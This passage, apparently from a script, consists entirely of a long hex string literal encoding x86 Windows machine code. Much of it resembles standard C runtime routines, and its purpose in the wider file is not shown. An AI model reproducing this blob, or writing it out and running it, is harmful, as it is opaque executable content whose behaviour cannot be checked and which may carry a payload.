'0c3ae8bbebffff8b45f08b48088bd7e815310000bafeffffff39530c0f8452ffffff68' \
'00e04000578bcbe82d310000e91cffffff8bff558bec8b450833c93b04cd30e0400074' \
'134183f92d72f18d48ed83f911770e6a0d585dc38b04cd34e040005dc30544ffffff6a' \
'0e593bc81bc023c183c0085dc3e81ef4ffff85c07506b898e14000c383c008c3e80bf4' \
'ffff85c07506b89ce14000c383c00cc38bff558bec56e8e2ffffff8b4d08518908e882' \
'ffffff598bf0e8bcffffff89305e5dc36a0c68e0c54000e875fdffff8b750885f67475' \
'833dbcfc40000375436a04e882200000598365fc0056e886300000598945e485c07409' \
'5650e8a73000005959c745fcfeffffffe80b000000837de4007537ff7508eb0a6a04e8' \
'6e1f000059c3566a00ff35fcf94000ff15d0b0400085c07516e840ffffff8bf0ff1580' \
'b0400050e8f0feffff890659e839fdffffc38bff558bec565733f6ff7508e8283b0000' \
'8bf85985ff75273905c0f54000761f56ff15c8b040008d86e80300003b05c0f5400076' \
'0383c8ff8bf083f8ff75ca8bc75f5e5dc38bff558bec565733f66a00ff750cff7508e8' \
'a83b00008bf883c40c85ff75273905c0f54000761f56ff15c8b040008d86e80300003b' \
'05c0f54000760383c8ff8bf083f8ff75c38bc75f5e5dc38bff558bec565733f6ff750c' \
'ff7508e87c3c00008bf8595985ff752c39450c74273905c0f54000761f56ff15c8b040' \
'008d86e80300003b05c0f54000760383c8ff8bf083f8ff75c18bc75f5e5dc38bff558b' \
'ec8b4508a3c4f540005dc38bff558bec81ec28030000a100e0400033c58945fc83a5d8' \
'fcffff00536a4c8d85dcfcffff6a0050e870ecffff8d85d8fcffff898528fdffff8d85' \
'30fdffff83c40c89852cfdffff8985e0fdffff898ddcfdffff8995d8fdffff899dd4fd' \
'ffff89b5d0fdffff89bdccfdffff668c95f8fdffff668c8decfdffff668c9dc8fdffff' \
'668c85c4fdffff668ca5c0fdffff668cadbcfdffff9c8f85f0fdffff8b45048d4d04c7' \
'8530fdffff010001008985e8fdffff898df4fdffff8b49fc898de4fdffffc785d8fcff' \
'ff170400c0c785dcfcffff010000008985e4fcffffff15a4b040006a008bd8ff15a0b0' \
'40008d8528fdffff50ff159cb0400085c0750c85db75086a02e89d1c00005968170400' \
'c0ff1598b0400050ff1594b040008b4dfc33cd5be861e8ffffc9c38bff558becff35c4' \
'f54000e816efffff5985c074035dffe06a02e85e1c0000595de9b2feffffb8a0e14000' \
'c3a1000e4100566a145e85c07507b800020000eb063bc67d078bc6a3000e41006a0450' \
'e8dcfdffff5959a3e4fd400085c0751e6a04568935000e4100e8c3fdffff5959a3e4fd' \
'400085c075056a1a585ec333d2b9a0e14000eb05a1e4fd4000890c0283c12083c20481' \
'f920e440007cea6afe5e33d2b9b0e14000578bc2c1f8058b0485e0fc40008bfa83e71f' \
'c1e7068b040783f8ff74083bc6740485c07502893183c1204281f910e240007cce5f33' \
'c05ec3e86d3e0000803db4f54000007405e8363c0000ff35e4fd4000e861fcffff59c3' \
'8bff558bec568b7508b8a0e140003bf0722281fe00e44000771a8bce2bc8c1f90583c1' \
'1051e8da1c0000814e0c0080000059eb0a83c62056ff15d4b040005e5dc38bff558bec' \
'8b450883f8147d1683c01050e8ad1c00008b450c81480c00800000595dc38b450c83c0' \
'2050ff15d4b040005dc38bff558bec8b4508b9a0e140003bc1721f3d00e44000771881' \
'600cff7fffff2bc1c1f80583c01050e88a1b0000595dc383c02050ff15d8b040005dc3' \
'8bff558bec8b4d0883f9148b450c7d1381600cff7fffff83c11051e85b1b0000595dc3' \
'83c02050ff15d8b040005dc38bff558bec568b750856e8d23d000050e8683d00005959' \
'85c0747ce82bfeffff83c0203bf0750433c0eb0fe81bfeffff83c0403bf0756033c040' \
'ff05c8f54000f7460c0c010000754e53578d3c85ccf54000833f00bb00100000752053' \
'e8adfbffff59890785c075138d46146a02894608890658894618894604eb0d8b3f897e' \
'08893e895e18895e04814e0c0211000033c05f405beb0233c05e5dc38bff558bec837d' \
'08007427568b750cf7460c00100000741956e8303b000081660cffeeffff8366180083' \
'260083660800595e5dc38bff558bec8b4508568bf1c6460c0085c07563e8eceeffff89' \
'46088b486c890e8b4868894e048b0e3b0d30e7400074128b0d88ec40008548707507e8' \
'f81d000089068b46043b0568eb400074168b46088b0d88ec40008548707508e8742000' \
'008946048b4608f6407002751483487002c6460c01eb0a8b08890e8b40048946048bc6' \
'5e5dc20400f6410c407406837908007424ff4904780b8b118802ff010fb6c0eb0c0fbe' \
'c05150e8180c0000595983f8ff75030906c3ff06c38bff558bec568bf0eb138b4d108a' \
'4508ff4d0ce8b5ffffff833eff7406837d0c007fe75e5dc38bff558becf6470c405356' \
'8bf08bd97432837f0800752c8b45080106eb2b8a03ff4d088bcfe87dffffff43833eff' \
'7513e853f9ffff83382a750f8bcfb03fe864ffffff837d08007fd55e5b5dc38bff558b' \
'ec81ec78020000a100e0400033c58945fc538b5d0c568b750833c0578b7d14ff75108d' \
'8da4fdffff89b5b4fdffff89bddcfdffff8985b8fdffff8985f0fdffff8985ccfdffff' \
'8985e8fdffff8985d0fdffff8985c0fdffff8985c8fdffffe86cfeffff85f67535e8cb' \
'f8ffffc7001600000033c05050505050e8a6fbffff83c41480bdb0fdffff00740a8b85' \
'acfdffff836070fd83c8ffe9c80a0000f6460c40755e56e8383b000059bae0e4400083' \
'f8ff741b83f8fe74168bc883e11f8bf0c1fe05c1e106030cb5e0fc4000eb028bcaf641' \
'247f759183f8ff741983f8fe74148bc883e01fc1f905c1e00603048de0fc4000eb028b' \
'c2f64024800f8567ffffff33c93bd90f845dffffff8a13898dd8fdffff898de0fdffff' \
'898dbcfdffff8895effdffff84d20f841f0a00004383bdd8fdffff00899dc4fdffff0f' \
'8c0b0a00008ac22c203c5877110fbec20fbe8070b3400083e00f33f6eb0433f633c00f' \
'be84c190b340006a07c1f80459898594fdffff3bc10f87ad090000ff24855b3f400083' \
'8de8fdffffff89b590fdffff89b5c0fdffff89b5ccfdffff89b5d0fdffff89b5f0fdff' \
'ff89b5c8fdffffe9760900000fbec283e820744a83e803743683e80874254848741583' \
'e8030f8557090000838df0fdffff08e94b090000838df0fdffff04e93f090000838df0' \
'fdffff01e933090000818df0fdffff80000000e924090000838df0fdffff02e9180900' \
'0080fa2a752c83c70489bddcfdffff8b7ffc3bfe89bdccfdffff0f8df9080000838df0' \
'fdffff04f79dccfdffffe9e70800008b85ccfdffff6bc00a0fbeca8d4408d08985ccfd' \
'ffffe9cc08000089b5e8fdffffe9c108000080fa2a752683c70489bddcfdffff8b7ffc' \
'3bfe89bde8fdffff0f8da2080000838de8fdffffffe9960800008b85e8fdffff6bc00a' \
'0fbeca8d4408d08985e8fdffffe97b08000080fa49745580fa68744480fa6c741880fa' \
'770f8563080000818df0fdffff00080000e954080000803b6c751643818df0fdffff00' \
'100000899dc4fdffffe939080000838df0fdffff10e92d080000838df0fdffff20e921' \
'0800008a033c36751d807b013475174343818df0fdffff00800000899dc4fdffffe9fe' \
'0700003c33751d807b01327517434381a5f0fdffffff7fffff899dc4fdffffe9dd0700' \
'003c640f84d50700003c690f84cd0700003c6f0f84c50700003c750f84bd0700003c78' \
'0f84b50700003c580f84ad07000089b594fdffff8d85a4fdffff500fb6c25089b5c8fd' \
'ffffe8983a00005985c08a85effdffff5974228b8db4fdffff8db5d8fdffffe8a4fbff' \
'ff8a0343899dc4fdffff84c00f84a4fcffff8b8db4fdffff8db5d8fdffffe882fbffff' \
'e94d0700000fbec283f8640f8fe80100000f847902000083f8530f8ff20000000f8480' \
'00000083e8417410484874584848740848480f859205000080c220c78590fdffff0100' \
'00008895effdffff838df0fdffff4039b5e8fdffff8d9df4fdffffb800020000899de4' \
'fdffff8985a0fdffff0f8d48020000c785e8fdffff06000000e9a5020000f785f0fdff' \
'ff300800000f8598000000818df0fdffff00080000e989000000f785f0fdffff300800' \
'00750a818df0fdffff000800008b8de8fdffff83f9ff7505b9ffffff7f83c704f785f0' \
'fdffff1008000089bddcfdffff8b7ffc89bde4fdffff0f84b10400003bfe750ba124e4' \
'40008985e4fdffff8b85e4fdffffc785c8fdffff01000000e97f04000083e8580f84da' \
'020000484874792bc10f8427ffffff48480f859e04000083c704f785f0fdffff100800' \
'0089bddcfdffff74300fb747fc5068000200008d85f4fdffff508d85e0fdffff50e8db' \
'38000083c41085c0741fc785c0fdffff01000000eb138a47fc8885f4fdffffc785e0fd' \
'ffff010000008d85f4fdffff8985e4fdffffe9350400008b0783c70489bddcfdffff3b' \
'c6743b8b48043bce7434f785f0fdffff000800000fbf00898de4fdffff7414992bc2d1' \
'f8c785c8fdffff01000000e9f003000089b5c8fdffffe9e5030000a120e440008985e4' \
'fdffff50e85236000059e9ce03000083f8700f8ffb0100000f84e301000083f8650f8c' \
'bc03000083f8670f8e34feffff83f869747183f86e742883f86f0f85a0030000f685f0' \
'fdffff80c785e0fdffff080000007461818df0fdffff00020000eb558b3783c70489bd' \
'dcfdffffe8cbe0ffff85c00f842ffafffff685f0fdffff20740c668b85d8fdffff6689' \
'06eb088b85d8fdffff8906c785c0fdffff01000000e9a6040000838df0fdffff40c785' \
'e0fdffff0a0000008b8df0fdfffff7c1008000000f84a90100008b078b570483c708e9' \
'd5010000751180fa677565c785e8fdffff01000000eb593985e8fdffff7e068985e8fd' \
'ffff81bde8fdffffa30000007e3f8bb5e8fdffff81c65d01000056e83bf3ffff8a95ef' \
'fdffff598985bcfdffff85c074108985e4fdffff89b5a0fdffff8bd8eb0ac785e8fdff' \
'ffa300000033f68b0783c708898588fdffff8b47fc89858cfdffff8d85a4fdffff50ff' \
'b590fdffff0fbec2ffb5e8fdffff89bddcfdffff50ffb5a0fdffff8d8588fdffff5350' \
'ff3578ec4000e800e4ffff59ffd08bbdf0fdffff83c41c81e780000000742039b5e8fd' \
'ffff75188d85a4fdffff5053ff3584ec4000e8d1e3ffff59ffd0595980bdeffdffff67' \
'751c3bfe75188d85a4fdffff5053ff3580ec4000e8ace3ffff59ffd05959803b2d7511' \
'818df0fdffff0001000043899de4fdffff53e903feffffc785e8fdffff08000000898d' \
'b8fdffffeb2483e8730f84b6fcffff48480f8489feffff83e8030f85b6010000c785b8' \
'fdffff27000000f685f0fdffff80c785e0fdffff100000000f8469feffff8a85b8fdff' \
'ff0451c685d4fdffff308885d5fdffffc785d0fdffff02000000e945fefffff7c10010' \
'00000f854bfeffff83c704f6c120741889bddcfdfffff6c14074060fbf47fceb040fb7' \
'47fc99eb138b47fcf6c140740399eb0233d289bddcfdfffff6c140741b3bd67f177c04' \
'3bc67311f7d883d200f7da818df0fdffff00010000f785f0fdffff009000008bda8bf8' \
'750233db83bde8fdffff007d0cc785e8fdffff01000000eb1a83a5f0fdfffff7b80002' \
'00003985e8fdffff7e068985e8fdffff8bc70bc375062185d0fdffff8d75f38b85e8fd' \
'ffffff8de8fdffff85c07f068bc70bc3742d8b85e0fdffff9952505357e87435000083' \
'c13083f939899da0fdffff8bf88bda7e06038db8fdffff880e4eebbd8d45f32bc646f7' \
'85f0fdffff000200008985e0fdffff89b5e4fdffff746185c074078bce8039307456ff' \
'8de4fdffff8b8de4fdffffc6013040eb3e49663930740640403bce75f42b85e4fdffff' \
'd1f8eb283bfe750ba120e440008985e4fdffff8b85e4fdffffeb07498038007405403b' \
'ce75f52b85e4fdffff8985e0fdffff83bdc0fdffff000f855c0100008b85f0fdffffa8' \
'407432a9000100007409c685d4fdffff2deb18a8017409c685d4fdffff2beb0ba80274' \
'11c685d4fdffff20c785d0fdffff010000008b9dccfdffff2b9de0fdffff2b9dd0fdff' \
'fff685f0fdffff0c7517ffb5b4fdffff8d85d8fdffff536a20e870f5ffff83c40cffb5' \
'd0fdffff8bbdb4fdffff8d85d8fdffff8d8dd4fdffffe876f5fffff685f0fdffff0859' \
'741bf685f0fdffff04751257536a308d85d8fdffffe82ef5ffff83c40c83bdc8fdffff' \
'008b85e0fdffff746685c07e628bb5e4fdffff8985a0fdffff0fb706ff8da0fdffff50' \
'6a068d45f4508d8598fdffff465046e87533000083c41085c07528398598fdffff7420' \
'ffb598fdffff8d85d8fdffff8d4df4e8f1f4ffff83bda0fdffff005975b5eb1c838dd8' \
'fdffffffeb138b8de4fdffff508d85d8fdffffe8caf4ffff5983bdd8fdffff007c1bf6' \
'85f0fdffff04741257536a208d85d8fdffffe882f4ffff83c40c83bdbcfdffff007413' \
'ffb5bcfdffffe862eeffff83a5bcfdffff00598b9dc4fdffff8a038885effdffff84c0' \
'74138b8d94fdffff8bbddcfdffff8ad0e9e1f5ffff80bdb0fdffff00740a8b85acfdff' \
'ff836070fd8b85d8fdffff8b4dfc5f5e33cd5be812d9ffffc9c3906637400067354000' \
'97354000f5354000413640004c36400092364000c03740008bff558bec51568b750c56' \
'e83c30000089450c8b460c59a8827517e883edffffc70009000000834e0c2083c8ffe9' \
'2f010000a840740de868edffffc70022000000ebe35333dba8017416895e04a8100f84' \
'870000008b4e0883e0fe890e89460c8b460c83e0ef83c80289460c895e04895dfca90c' \
'010000752ce838f0ffff83c0203bf0740ce82cf0ffff83c0403bf0750dff750ce84f2f' \
'00005985c0750756e8833c000059f7460c08010000570f84800000008b46088b3e8d48' \
'01890e8b4e182bf8493bfb894e047e1d5750ff750ce8773b000083c40c8945fceb4d83' \
'c82089460c83c8ffeb798b4d0c83f9ff741b83f9fe74168bc183e01f8bd1c1fa05c1e0' \
'06030495e0fc4000eb05b8e0e44000f640042074146a02535351e8e032000023c283c4' \
'1083f8ff74258b46088a4d088808eb1633ff47578d450850ff750ce8083b000083c40c' \
'8945fc397dfc7409834e0c2083c8ffeb088b450825ff0000005f5b5ec9c3558bec83ec' \
'04897dfc8b7d088b4d0cc1e907660fefc0eb088da4240000000090660f7f07660f7f47' \
'10660f7f4720660f7f4730660f7f4740660f7f4750660f7f4760660f7f47708dbf8000' \
'00004975d08b7dfc8be55dc3558bec83ec10897dfc8b4508998bf833fa2bfa83e70f33' \
'fa2bfa85ff753c8b4d108bd183e27f8955f43bca74122bca5150e873ffffff83c4088b' \
'45088b55f485d274450345102bc28945f833c08b7df88b4df4f3aa8b4508eb2ef7df83' \
'c710897df033c08b7d088b4df0f3aa8b45f08b4d088b551003c82bd0526a0051e87eff' \
'ffff83c40c8b45088b7dfc8be55dc36a0c6800c64000e817e9ffff8365fc00660f28c1' \
'c745e401000000eb238b45ec8b008b003d050000c0740a3d1d0000c0740333c0c333c0' \
'40c38b65e88365e400c745fcfeffffff8b45e4e819e9ffffc38bff558bec83ec1833c0' \
'538945fc8945f48945f8539c588bc83500002000509d9c5a2bd1741f519d33c00fa289' \
'45f4895de88955ec894df0b8010000000fa28955fc8945f85bf745fc00000004740ee8' \
'5cffffff85c0740533c040eb0233c05bc9c3e899ffffffa3e0fd400033c0c38bff558b' \
'ec8b45088b00813863736de0752a8378100375248b40143d2005931974153d21059319' \
'740e3d2205931974073d004099017505e8e616000033c05dc204006884424000ff15a0' \
'b0400033c0c38bff558bec5151538b5d08565733f633ff897dfc3b1cfd28e440007409' \
'47897dfc83ff1772ee83ff170f83770100006a03e8dc3c00005983f8010f8434010000' \
'6a03e8cb3c00005985c0750d833d10e04000010f841b01000081fbfc0000000f844101' \
'00006890b94000bb1403000053bfd8f5400057e82e3c000083c40c85c0740d56565656' \
'56e883ebffff83c4146804010000bef1f54000566a00c605f5f6400000ff15e0b04000' \
'85c075266878b9400068fb02000056e8ec3b000083c40c85c0740f33c05050505050e8' \
'3febffff83c41456e8532c0000405983f83c763856e8462c000083ee3b03c66a03b9ec' \
'f840006874b940002bc85150e8f43a000083c41485c0741133f65656565656e8fceaff' \
'ff83c414eb0233f66870b940005357e85a3a000083c40c85c0740d5656565656e8d8ea' \
'ffff83c4148b45fcff34c52ce440005357e8353a000083c40c85c0740d5656565656e8' \
'b3eaffff83c41468102001006848b9400057e8a838000083c40ceb326af4ff15dcb040' \
'008bd83bde742483fbff741f6a008d45f8508d34fd2ce44000ff36e8912b00005950ff' \
'3653ff153cb040005f5e5bc9c36a03e8603b00005983f80174156a03e8533b00005985' \
'c0751f833d10e0400001751668fc000000e829feffff68ff000000e81ffeffff5959c3' \
'833d140e4100007505e863130000568b3548f240005733ff85f6751883c8ffe9a00000' \
'003c3d74014756e8192b0000598d7406018a0684c075ea6a044757e83fe9ffff8bf859' \
'59893d9cf5400085ff74cb8b3548f2400053eb4256e8e82a00008bd843803e3d597431' \
'6a0153e811e9ffff5959890785c0744e565350e8443a000083c40c85c0740f33c05050' \
'505050e897e9ffff83c41483c70403f3803e0075b9ff3548f24000e803e8ffff832548' \
'f2400000832700c705080e41000100000033c0595b5f5ec3ff359cf54000e8dde7ffff' \
'83259cf540000083c8ffebe48bff558bec518b4d105333c05689078bf28b550cc70101' \
'00000039450874098b5d088345080489138945fc803e22751033c03945fcb3220f94c0' \
'468945fceb3cff0785d274088a0688024289550c8a1e0fb6c35046e8943a00005985c0' \
'7413ff07837d0c00740a8b4d0c8a06ff450c8801468b550c8b4d1084db7432837dfc00' \
'75a980fb20740580fb09759f85d27404c642ff008365fc00803e000f84e90000008a06' \
'3c2074043c09750646ebf34eebe3803e000f84d0000000837d080074098b4508834508' \
'048910ff0133db4333c9eb024641803e5c74f9803e227526f6c101751f837dfc00740c' \
'8d460180382275048bf0eb0d33c033db3945fc0f94c08945fcd1e985c974124985d274' \
'04c6025c42ff0785c975f189550c8a0684c07455837dfc0075083c20744b3c09744785' \
'db743d0fbec05085d27423e8af3900005985c0740d8a068b4d0cff450c880146ff078b' \
'4d0c8a06ff450c8801eb0de88c3900005985c0740346ff07ff078b550c46e956ffffff' \
'85d27407c602004289550cff078b4d10e90effffff8b45085e5b85c07403832000ff01' \
'c9c38bff558bec83ec0c5333db5657391d140e41007505e8df1000006804010000bef0' \
'f840005653881df4f94000ff15e0b04000a1200e41008935acf540003bc374078945fc' \
'381875038975fc8b55fc8d45f85053538d7df4e80afeffff8b45f883c40c3dffffff3f' \
'734a8b4df483f9ff73428bf8c1e7028d040f3bc1723650e842e6ffff8bf0593bf37429' \
'8b55fc8d45f85003fe57568d7df4e8c9fdffff8b45f883c40c48a390f54000893594f5' \
'400033c0eb0383c8ff5f5e5bc9c38bff558beca1f8f9400083ec0c53568b35f4b04000' \
'5733db33ff3bc3752effd68bf83bfb740cc705f8f9400001000000eb23ff1580b04000' \
'83f878750a6a0258a3f8f94000eb05a1f8f9400083f8010f85810000003bfb750fffd6' \
'8bf83bfb750733c0e9ca0000008bc766391f740e404066391875f9404066391875f28b' \
'35f0b040005353532bc753d1f840505753538945f4ffd68945f83bc3742f50e868e5ff' \
'ff598945fc3bc374215353ff75f850ff75f4575353ffd685c0750cff75fce8b8e4ffff' \
'59895dfc8b5dfc57ff15ecb040008bc3eb5c83f80274043bc37582ff15e8b040008bf0' \
'3bf30f8472ffffff381e740a40381875fb40381875f62bc640508945f8e801e5ffff8b' \
'f8593bfb750c56ff15e4b04000e945ffffffff75f85657e88f37000083c40c56ff15e4' \
'b040008bc75f5e5bc9c36a546820c64000e8bae1ffff33ff897dfc8d459c50ff1500b1' \
'4000c745fcfeffffff6a406a205e56e8ebe4ffff59593bc70f8414020000a3e0fc4000' \
'8935c0fc40008d8800080000eb30c64004008308ffc640050a897808c6402400c64025' \
'0ac640260a897838c640340083c0408b0de0fc400081c1000800003bc172cc66397dce' \
'0f840a0100008b45d03bc70f84ff0000008b388d58048d043b8945e4be000800003bfe' \
'7c028bfec745e001000000eb5b6a406a20e85de4ffff595985c074568b4de08d0c8de0' \
'fc400089018305c0fc4000208d9000080000eb2ac64004008308ffc640050a83600800' \
'80602480c640250ac640260a83603800c640340083c0408b1103d63bc272d2ff45e039' \
'3dc0fc40007c9deb068b3dc0fc40008365e00085ff7e6d8b45e48b0883f9ff745683f9' \
'fe74518a03a801744ba808750b51ff15fcb0400085c0743c8b75e08bc6c1f80583e61f' \
'c1e606033485e0fc40008b45e48b0089068a0388460468a00f00008d460c50e8951100' \
'00595985c00f84c9000000ff4608ff45e0438345e404397de07c9333db8bf3c1e60603' \
'35e0fc40008b0683f8ff740b83f8fe7406804e0480eb72c646048185db75056af658eb' \
'0a8bc348f7d81bc083c0f550ff15dcb040008bf883ffff744385ff743f57ff15fcb040' \
'0085c07434893e25ff00000083f8027506804e0440eb0983f8037504804e040868a00f' \
'00008d460c50e8ff100000595985c07437ff4608eb0a804e0440c706feffffff4383fb' \
'030f8c67ffffffff35c0fc4000ff15f8b0400033c0eb1133c040c38b65e8c745fcfeff' \
'ffff83c8ffe8b8dfffffc38bff56b8e0c44000bee0c44000578bf83bc6730f8b0785c0' \
'7402ffd083c7043bfe72f15f5ec38bff56b8e8c44000bee8c44000578bf83bc6730f8b' \
'0785c07402ffd083c7043bfe72f15f5ec38bff558bec33c03945086a000f94c0680010' \
'000050ff1508b14000a3fcf9400085c075025dc333c040a3bcfc40005dc38bff558bec' \
'83ec10a100e040008365f8008365fc005357bf4ee640bbbb0000ffff3bc7740d85c374' \
'09f7d0a304e04000eb60568d45f850ff1518b140008b75fc3375f8ff1564b0400033f0' \
'ff15c4b0400033f0ff1514b1400033f08d45f050ff1510b140008b45f43345f033f03b' \
'f77507be4fe640bbeb0b85f375078bc6c1e0100bf0893500e04000f7d6893504e04000' \
'5e5f5bc9c38325b8fc400000c38bff565733f6bf00fa4000833cf52ce5400001751e8d' \
'04f528e54000893868a00f0000ff3083c718e8720f0000595985c0740c4683fe247cd2' \
'33c0405f5ec38324f528e540000033c0ebf18bff538b1d04b1400056be28e54000578b' \
'3e85ff7413837e0401740d57ffd357e867e0ffff8326005983c60881fe48e640007cdc' \
'be28e540005f8b0685c07409837e0401750350ffd383c60881fe48e640007ce65e5bc3' \
'8bff558bec8b4508ff34c528e54000ff15d8b040005dc36a0c6840c64000e893ddffff' \
'33ff47897de433db391dfcf940007518e815f7ffff6a1ee863f5ffff68ff000000e856' \
'd9ffff59598b75088d34f528e54000391e74048bc7eb6e6a18e85fe0ffff598bf83bfb' \
'750fe87cdfffffc7000c00000033c0eb516a0ae85900000059895dfc391e752c68a00f' \
'000057e8690e0000595985c0751757e895dfffff59e846dfffffc7000c000000895de4' \
'eb0b893eeb0757e87adfffff59c745fcfeffffffe8090000008b45e4e82bddffffc36a' \
'0ae828ffffff59c38bff558bec8b4508568d34c528e54000833e00751350e822ffffff' \
'5985c075086a11e84ad8ffff59ff36ff15d4b040005e5dc38bff558bec53568b75088b' \
'86bc00000033db573bc3746f3d58ed400074688b86b00000003bc3745e3918755a8b86' \
'b80000003bc374173918751350e8e8deffffffb6bc000000e85537000059598b86b400' \
'00003bc374173918751350e8c7deffffffb6bc000000e8ef3600005959ffb6b0000000' \
'e8afdeffffffb6bc000000e8a4deffff59598b86c00000003bc37444391875408b86c4' \
'0000002dfe00000050e883deffff8b86cc000000bf800000002bc750e870deffff8b86' \
'd00000002bc750e862deffffffb6c0000000e857deffff83c4108dbed40000008b073d' \
'98ec400074173998b4000000750f50e8d5340000ff37e830deffff59598d7e50c74508' \
'06000000817ff850e6400074118b073bc3740b3918750750e80bdeffff59395ffc7412' \
'8b47043bc3740b3918750750e8f4ddffff5983c710ff4d0875c756e8e5ddffff595f5e' \
'5b5dc38bff558bec53568b3544b04000578b7d0857ffd68b87b000000085c0740350ff' \
'd68b87b800000085c0740350ffd68b87b400000085c0740350ffd68b87c000000085c0' \
'740350ffd68d5f50c7450806000000817bf850e6400074098b0385c0740350ffd6837b' \
'fc00740a8b430485c0740350ffd683c310ff4d0875d68b87d400000005b400000050ff' \
'd65f5e5b5dc38bff558bec578b7d0885ff0f848300000053568b3548b0400057ffd68b' \
'87b000000085c0740350ffd68b87b800000085c0740350ffd68b87b400000085c07403' \
'50ffd68b87c000000085c0740350ffd68d5f50c7450806000000817bf850e640007409' \
'8b0385c0740350ffd6837bfc00740a8b430485c0740350ffd683c310ff4d0875d68b87' \
'd400000005b400000050ffd65e5b8bc75f5dc385ff743785c07433568b303bf7742857' \
'8938e8c1feffff5985f6741b56e845ffffff833e0059750f81fe58e64000740756e859' \
'fdffff598bc75ec333c0c36a0c6860c64000e8eed9ffffe8bbd0ffff8bf0a188ec4000' \
'8546707422837e6c00741ce8a4d0ffff8b706c85f675086a20e859d5ffff598bc6e801' \
'daffffc36a0ce8d8fcffff598365fc008d466c8b3d30e74000e869ffffff8945e4c745' \
'fcfeffffffe802000000ebc16a0ce8d3fbffff598b75e4c32da4030000742283e80474' \
'1783e80d740c48740333c0c3b804040000c3b812040000c3b804080000c3b811040000' \
'c38bff56578bf0680101000033ff8d461c5750e8d6c9ffff33c00fb7c88bc1897e0489' \
'7e08897e0cc1e1100bc18d7e10abababb940e7400083c40c8d461c2bcebf010100008a' \
'14018810404f75f78d861d010000be000100008a14088810404e75f75f5ec38bff558b' \
'ec81ec1c050000a100e0400033c58945fc53578d85e8faffff50ff7604ff151cb14000' \
'bf0001000085c00f84fb00000033c0888405fcfeffff403bc772f48a85eefaffffc685' \
'fcfeffff2084c0742e8d9deffaffff0fb6c80fb6033bc877162bc140508d940dfcfeff' \
'ff6a2052e813c9ffff83c40c438a034384c075d86a00ff760c8d85fcfaffffff760450' \
'578d85fcfeffff506a016a00e88a36000033db53ff76048d85fcfdffff5750578d85fc' \
'feffff5057ff760c53e89d3a000083c44453ff76048d85fcfcffff5750578d85fcfeff' \
'ff506800020000ff760c53e8783a000083c42433c00fb78c45fcfafffff6c101740e80' \
'4c061d108a8c05fcfdffffeb11f6c1027415804c061d208a8c05fcfcffff888c061d01' \
'0000eb08c684061d01000000403bc772beeb568d861d010000c785e4faffff9fffffff' \
'33c92985e4faffff8b95e4faffff8d840e1d01000003d08d5a2083fb19770c804c0e1d' \
'108ad180c220eb0f83fa19770e804c0e1d208ad180ea208810eb03c60000413bcf72c2' \
'8b4dfc5f33cd5be8e2c4ffffc9c36a0c6880c64000e852d7ffffe81fceffff8bf8a188' \
'ec4000854770741d837f6c0074178b776885f675086a20e8c2d2ffff598bc6e86ad7ff' \
'ffc36a0de841faffff598365fc008b77688975e43b3568eb4000743685f6741a56ff15' \
'48b0400085c0750f81fe40e74000740756e86cd9ffff59a168eb40008947688b3568eb' \
'40008975e456ff1544b04000c745fcfeffffffe805000000eb8e8b75e46a0de806f9ff' \
'ff59c38bff558bec83ec105333db538d4df0e874deffff891d74fb400083fefe751ec7' \
'0574fb400001000000ff1524b14000385dfc74458b4df8836170fdeb3c83fefd7512c7' \
'0574fb400001000000ff1520b14000ebdb83fefc75128b45f08b4004c70574fb400001' \
'000000ebc4385dfc74078b45f8836070fd8bc65bc9c38bff558bec83ec20a100e04000' \
'33c58945fc538b5d0c568b750857e864ffffff8bf833f6897d083bfe750e8bc3e8b7fc' \
'ffff33c0e99d0100008975e433c039b870eb40000f8491000000ff45e483c0303df000' \
'000072e781ffe8fd00000f847001000081ffe9fd00000f84640100000fb7c750ff1528' \
'b1400085c00f84520100008d45e85057ff151cb1400085c00f84330100006801010000' \
'8d431c5650e833c6ffff33d24283c40c897b0489730c3955e80f86f8000000807dee00' \
'0f84cf0000008d75ef8a0e84c90f84c20000000fb646ff0fb6c9e9a600000068010100' \
'008d431c5650e8ecc5ffff8b4de483c40c6bc9308975e08db180eb40008975e4eb2a8a' \
'460184c074280fb63e0fb6c0eb128b45e08a806ceb400008443b1d0fb64601473bf876' \
'ea8b7d084646803e0075d18b75e4ff45e083c608837de0048975e472e98bc7897b04c7' \
'430801000000e867fbffff6a0689430c8d43108d8974eb40005a668b31416689304140' \
'404a75f38bf3e8d7fbffffe9b7feffff804c031d04403bc176f64646807eff000f8534' \
'ffffff8d431eb9fe000000800808404975f98b4304e812fbffff89430c895308eb0389' \
'730833c00fb7c88bc1c1e1100bc18d7b10abababeba8393574fb40000f8558feffff83' \
'c8ff8b4dfc5f5e33cd5be8ddc1ffffc9c36a1468a0c64000e84dd4ffff834de0ffe816' \
'cbffff8bf8897ddce8dcfcffff8b5f688b7508e875fdffff8945083b43040f84570100' \
'006820020000e826d7ffff598bd885db0f8446010000b9880000008b77688bfbf3a583' \
'230053ff7508e8b8fdffff59598945e085c00f85fc0000008b75dcff7668ff1548b040' \
'0085c075118b46683d40e74000740750e848d6ffff59895e68538b3d44b04000ffd7f6' \
'4670020f85ea000000f60588ec4000010f85dd0000006a0de8c2f6ffff598365fc008b' \
'4304a384fb40008b4308a388fb40008b430ca38cfb400033c08945e483f8057d10668b' \
'4c431066890c4578fb400040ebe833c08945e43d010100007d0d8a4c181c888860e940' \
'0040ebe933c08945e43d000100007d108a8c181d010000888868ea400040ebe6ff3568' \
'eb4000ff1548b0400085c07513a168eb40003d40e74000740750e88fd5ffff59891d68' \
'eb400053ffd7c745fcfeffffffe802000000eb306a0de83bf5ffff59c3eb2583f8ff75' \
'2081fb40e74000740753e859d5ffff59e80ad5ffffc70016000000eb048365e0008b45' \
'e0e805d3ffffc3833d140e41000075126afde856feffff59c705140e41000100000033' \
'c0c38bff558bec51535657ff35100e4100e8d6c6ffffff350c0e41008bf8897dfce8c6' \
'c6ffff8bf059593bf70f82830000008bde2bdf8d430483f804727757e8113500008bf8' \
'8d4304593bf87348b8000800003bf873028bc703c73bc7720f50ff75fce8d9d5ffff59' \
'5985c075168d47103bc7724050ff75fce8c3d5ffff595985c07431c1fb02508d3498e8' \
'e1c5ffff59a3100e4100ff7508e8d3c5ffff890683c60456e8c8c5ffff59a30c0e4100' \
'8b450859eb0233c05f5e5bc9c38bff566a046a20e82dd5ffff8bf056e8a1c5ffff83c4' \
'0ca3100e4100a30c0e410085f675056a18585ec383260033c05ec36a0c68c0c64000e8' \
'aad1ffffe8a6cdffff8365fc00ff7508e8f8feffff598945e4c745fcfeffffffe80900' \
'00008b45e4e8c6d1ffffc3e885cdffffc38bff558becff7508e8b7fffffff7d81bc0f7' \
